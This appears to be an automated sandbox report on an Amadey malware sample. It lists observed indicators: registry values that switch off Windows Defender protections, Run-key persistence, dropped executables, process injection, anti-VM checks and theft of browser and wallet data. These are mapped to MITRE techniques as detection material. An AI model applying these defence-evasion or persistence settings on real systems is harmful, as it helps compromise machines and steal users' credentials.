amadey | 92d05bed38255a6070b95199864724c1df7c007f6cc351dda09c43dc324210eb

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	1Un83uE2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	1Un83uE2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	1Un83uE2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	1Un83uE2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	1Un83uE2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	1Un83uE2.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 10 IoCs

resource	yara_rule
behavioral1/memory/1188-59-0x0000000000400000-0x000000000043C000-memory.dmp	family_redline
behavioral1/files/0x0008000000022d2a-150.dat	family_redline
behavioral1/files/0x0008000000022d2a-151.dat	family_redline
behavioral1/files/0x0008000000022e20-170.dat	family_redline
behavioral1/files/0x0008000000022e20-171.dat	family_redline
behavioral1/memory/4008-173-0x00000000006A0000-0x00000000006DC000-memory.dmp	family_redline
behavioral1/files/0x000a000000022cfc-187.dat	family_redline
behavioral1/files/0x000a000000022cfc-195.dat	family_redline
behavioral1/memory/4512-196-0x00000000000C0000-0x00000000000DE000-memory.dmp	family_redline
behavioral1/memory/3456-214-0x0000000000480000-0x00000000004DA000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 3 IoCs

resource	yara_rule
behavioral1/files/0x000a000000022cfc-187.dat	family_sectoprat
behavioral1/files/0x000a000000022cfc-195.dat	family_sectoprat
behavioral1/memory/4512-196-0x00000000000C0000-0x00000000000DE000-memory.dmp	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs

description	pid	Process	procid_target
PID 2996 created 3356	2996	latestX.exe	59
PID 2996 created 3356	2996	latestX.exe	59
PID 2996 created 3356	2996	latestX.exe	59
PID 2996 created 3356	2996	latestX.exe	59
PID 2996 created 3356	2996	latestX.exe	59
PID 388 created 3356	388	updater.exe	59

Blocklisted process makes network request 2 IoCs

flow	pid	Process
101	3680	rundll32.exe
105	916	rundll32.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	latestX.exe

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

pid	Process
2960	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	7Xx2fZ79.exe
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	417C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	472C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	Utsysc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	kos4.exe

Executes dropped EXE 37 IoCs

pid	Process
4392	Cr7fp82.exe
2204	TA7Op58.exe
4404	FB9dE05.exe
4592	PM3ll37.exe
3064	1Un83uE2.exe
3456	2eo7561.exe
4996	3cq11nu.exe
3776	4NB329oF.exe
1692	6lY0xK3.exe
660	7Xx2fZ79.exe
1336	664.exe
2116	FEA.exe
3568	qm5TH4mL.exe
1232	sh5KK9Pk.exe
4488	1C20.exe
2148	Rz7ym3kv.exe
2064	1BV39JP5.exe
4008	2tP235cE.exe
2468	417C.exe
3456	43EE.exe
4512	4546.exe
5096	472C.exe
4352	InstallSetup5.exe
3120	Utsysc.exe
3632	toolspub2.exe
1900	Broom.exe
4024	31839b57a4f11171d6abc8bbc4451ee4.exe
1828	kos4.exe
2996	latestX.exe
1572	toolspub2.exe
4580	804E.exe
3196	C4E9.exe
3640	E11D.exe
916	Utsysc.exe
388	updater.exe
4996	31839b57a4f11171d6abc8bbc4451ee4.exe
2536	csrss.exe

Loads dropped DLL 5 IoCs

pid	Process
3456	43EE.exe
3456	43EE.exe
3388	rundll32.exe
916	rundll32.exe
3680	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	1Un83uE2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	1Un83uE2.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	PM3ll37.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	664.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	sh5KK9Pk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	Rz7ym3kv.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	92d05bed38255a6070b95199864724c1df7c007f6cc351dda09c43dc324210eb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	Cr7fp82.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	TA7Op58.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	FB9dE05.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	qm5TH4mL.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3456 set thread context of 2468	3456	2eo7561.exe	103
PID 3776 set thread context of 1188	3776	4NB329oF.exe	113
PID 2064 set thread context of 3636	2064	1BV39JP5.exe	134
PID 3632 set thread context of 1572	3632	toolspub2.exe	164
PID 4580 set thread context of 2616	4580	804E.exe	211
PID 3196 set thread context of 3624	3196	C4E9.exe	210

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	31839b57a4f11171d6abc8bbc4451ee4.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	latestX.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\rss\csrss.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
File opened for modification	C:\Windows\rss	31839b57a4f11171d6abc8bbc4451ee4.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1344	sc.exe
2880	sc.exe
2648	sc.exe
2472	sc.exe
2660	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
3604	2468	WerFault.exe	103
3184	3456	WerFault.exe	100
4560	3776	WerFault.exe	109
920	3636	WerFault.exe	134
4820	2064	WerFault.exe	133
1564	3456	WerFault.exe	145

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3cq11nu.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3cq11nu.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3cq11nu.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2552	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3064	1Un83uE2.exe
3064	1Un83uE2.exe
3064	1Un83uE2.exe
4996	3cq11nu.exe
4996	3cq11nu.exe
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE
3356	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3356	Explorer.EXE

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4996	3cq11nu.exe
1572	toolspub2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3064	1Un83uE2.exe
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeDebugPrivilege	4512	4546.exe
Token: SeDebugPrivilege	1828	kos4.exe
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE
Token: SeCreatePagefilePrivilege	3356	Explorer.EXE
Token: SeShutdownPrivilege	3356	Explorer.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5096	472C.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1900	Broom.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3356	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
